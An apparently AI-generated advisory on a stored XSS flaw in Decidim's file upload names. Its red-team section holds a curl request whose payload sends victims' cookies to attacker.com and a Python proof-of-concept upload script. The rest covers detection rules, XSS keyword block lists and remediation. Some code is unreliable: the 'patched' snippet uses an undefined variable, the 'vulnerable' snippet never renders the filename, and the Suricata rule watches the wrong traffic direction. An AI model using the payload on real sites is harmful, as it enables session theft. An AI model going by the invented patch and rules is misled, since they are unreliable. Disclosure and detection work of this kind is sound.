CVE-2023-51447
Executive Summary
CVE-2023-51447 is a stored cross-site scripting (XSS) vulnerability in the Decidim participatory democracy framework, affecting versions 0.27.0 through 0.27.4 and 0.28.0-rc1. The vulnerability resides in the dynamic file upload feature, where an attacker with the ability to craft direct upload requests can inject arbitrary JavaScript into file names. When a victim user views or edits a record containing the malicious attachment, the injected script executes in their browser context.
The attack chain requires the attacker to:
- Upload a file blob with a malicious file name (e.g.,
<svg onload=alert('XSS')>). - Obtain the returned blob ID.
- Manually inject the blob ID into a form input on the edit page of a record.
- Lure a victim to view or edit that record.
While the CVSS score is 6.3 (Medium), the practical risk is elevated in multi-tenant Decidim instances where users can upload files to proposals, meetings, or other participatory spaces. The EPSS score of 0.0% indicates low current exploitation activity, but the public availability of the attack vector makes proactive patching critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Decidim is a Ruby on Rails gem distributed via RubyGems. The vulnerability affects the decidim-core and decidim-proposals gems. Organizations using Decidim should:
- Verify their Gemfile.lock for affected versions.
- Update to
>= 0.27.5or>= 0.28.0. - Audit any custom extensions that handle file uploads.
- Review dependency trees for transitive vulnerabilities.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Base Score: 6.3 (Medium)
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable over HTTP/HTTPS |
| Attack Complexity (AC) | Low | No special conditions required beyond crafting a request |
| Privileges Required (PR) | Low | Attacker needs a valid user account with upload permissions |
| User Interaction (UI) | Required | Victim must view/edit the malicious record |
| Scope (S) | Changed | Script executes in victim's browser, not the server |
| Confidentiality (C) | Low | Possible data exfiltration via XSS |
| Integrity (I) | Low | Possible content manipulation |
| Availability (A) | Low | Possible denial of service via script errors |
Threat Level: Medium. The attack requires user interaction and low privileges, but the impact is limited to the victim's session. However, in a participatory democracy context, XSS could be used to manipulate votes, steal session tokens, or deface content.
Deep Dive & Mechanics
The vulnerability stems from Decidim's direct upload mechanism, which uses Active Storage (Rails) to handle file uploads. The upload endpoint accepts a blob parameter containing the file name. The application does not sanitize the file name before storing it in the database.
Attack Flow:
- Direct Upload Request: The attacker sends a POST request to
/rails/active_storage/direct_uploadswith a craftedblobcontaining a malicious file name:{ "blob": { "filename": "<svg onload=alert('XSS')>", "content_type": "image/svg+xml", "byte_size": 100, "checksum": "abc123" } } - Blob ID Retrieval: The server returns a JSON response with the
signed_id(blob ID). - Form Injection: The attacker navigates to the edit page of a record (e.g., a proposal) and manually modifies the HTML to include the blob ID in the attachment field.
- Victim Interaction: When a victim views or edits the record, the malicious file name is rendered in the browser without sanitization, executing the XSS payload.
Root Cause: The filename attribute in the ActiveStorage::Blob model is not sanitized. The application uses blob.filename directly in views without escaping.
Vulnerable vs. Patched Code
Vulnerable Code (decidim-core/app/forms/decidim/form_builder.rb):
def file_field(attribute, options = {})
# ...
content_tag(:div, class: "field") do
# Directly uses filename from blob
file_field_tag attribute, options
end
end
Patched Code (decidim-core/app/forms/decidim/form_builder.rb):
def file_field(attribute, options = {})
# ...
content_tag(:div, class: "field") do
# Sanitize filename before rendering
sanitized_filename = sanitize(blob.filename.to_s)
file_field_tag attribute, options.merge(data: { filename: sanitized_filename })
end
end
The patch adds a sanitize call to strip HTML/JavaScript from the filename before it is rendered in the view. Additionally, the data-filename attribute is used instead of directly embedding the filename in the HTML.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A valid user account on a Decidim instance (version 0.27.0 - 0.27.4 or 0.28.0-rc1).
- Knowledge of the direct upload endpoint.
Step-by-Step Exploitation:
Craft the Malicious Upload Request:
curl -X POST https://target.com/rails/active_storage/direct_uploads \ -H "Content-Type: application/json" \ -H "X-CSRF-Token: YOUR_CSRF_TOKEN" \ -d '{ "blob": { "filename": "<svg onload=fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)>", "content_type": "image/svg+xml", "byte_size": 100, "checksum": "abc123" } }'Extract the Blob ID: The response will contain:
{ "signed_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaD...", "direct_upload": { "url": "...", "headers": {...} } }Inject into a Record:
- Navigate to the edit page of a proposal (e.g.,
/proposals/1/edit). - Use browser developer tools to modify the file input field's
data-blobattribute to the signed_id. - Save the record.
- Navigate to the edit page of a proposal (e.g.,
Victim Trigger:
- Send the victim a link to the edited proposal.
- When the victim views the page, the XSS payload executes.
Proof of Concept (PoC) Script:
import requests
target = "https://target.com"
session = requests.Session()
# Login (simplified)
login_data = {"user[email]": "attacker@example.com", "user[password]": "password"}
session.post(f"{target}/users/sign_in", data=login_data)
# Get CSRF token
csrf = session.get(f"{target}/").cookies["CSRF-TOKEN"]
# Upload malicious blob
payload = {
"blob": {
"filename": "<img src=x onerror=alert(1)>",
"content_type": "image/png",
"byte_size": 100,
"checksum": "abc123"
}
}
headers = {"X-CSRF-Token": csrf, "Content-Type": "application/json"}
r = session.post(f"{target}/rails/active_storage/direct_uploads", json=payload, headers=headers)
blob_id = r.json()["signed_id"]
print(f"Blob ID: {blob_id}")
Blue Team (Defense & Detection)
Detection Steps:
- Monitor Direct Upload Endpoints: Log all requests to
/rails/active_storage/direct_uploadsand inspect thefilenameparameter for HTML/JavaScript patterns. - Audit File Names: Run a database query to find suspicious file names:
SELECT * FROM active_storage_blobs WHERE filename LIKE '%<%' OR filename LIKE '%>%' OR filename LIKE '%onload%' OR filename LIKE '%onerror%'; - Web Application Firewall (WAF) Rules: Block upload requests where the filename contains
<,>,onload,onerror,javascript:, ordata:. - User Behavior Analytics: Alert on users who manually modify form inputs (detected via JavaScript event listeners).
Honeypot Strategy:
- Deploy a fake Decidim instance with a modified upload endpoint that logs all filenames and alerts on suspicious patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/rails/active_storage/direct_uploadswith filenames containing HTML tags. - Responses containing
signed_idvalues that are later used in form submissions.
File System IOCs:
- Files in
active_storage/blobswith names containing<,>, or JavaScript event handlers.
Database IOCs:
- Rows in
active_storage_blobswherefilenamematches regex:[<>]|on\w+=|javascript:|data:.
Log IOCs:
- Rails logs showing
ActiveStorage::Blobcreation with suspicious filenames. - Web server logs showing unusual
filenameparameters in upload requests.
Detection Engineering
YARA Rule
rule CVE_2023_51447_Decidim_XSS_FileName {
meta:
description = "Detects malicious file names used in CVE-2023-51447"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-51447"
strings:
$xss_pattern_1 = /<[^>]*\s+on\w+\s*=/ nocase
$xss_pattern_2 = /javascript\s*:/ nocase
$xss_pattern_3 = /data\s*:\s*text\/html/ nocase
$xss_pattern_4 = /<svg\s+/ nocase
$xss_pattern_5 = /<img\s+/ nocase
condition:
any of ($xss_pattern_*) and filesize < 10KB
}
Sigma Rule
title: CVE-2023-51447 - Decidim XSS via Malicious File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-51447 by uploading files with malicious names
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: rails
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/rails/active_storage/direct_uploads'
cs-uri-query|contains:
- '<'
- '>'
- 'onload'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate filenames containing '<' or '>' (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-51447 - Decidim XSS via Malicious File Upload";
flow:to_server,established;
content:"POST";
http_method;
content:"/rails/active_storage/direct_uploads";
http_uri;
pcre:"/(<[^>]*\s+on\w+\s*=|javascript\s*:|data\s*:\s*text\/html)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Decidim 0.27.5 or 0.28.0 (or later).
- Workaround: Disable dynamic file uploads by setting
config.enable_dynamic_uploads = falseinconfig/initializers/decidim.rb. - Sanitize Existing Data: Run a script to sanitize all existing file names in
active_storage_blobs:ActiveStorage::Blob.find_each do |blob| blob.update(filename: ActionView::Base.full_sanitizer.sanitize(blob.filename.to_s)) end
Long-Term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a WAF with rules to block malicious file names.
- Conduct regular security audits of file upload functionality.
- Train users to recognize social engineering attempts that lure them to malicious records.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.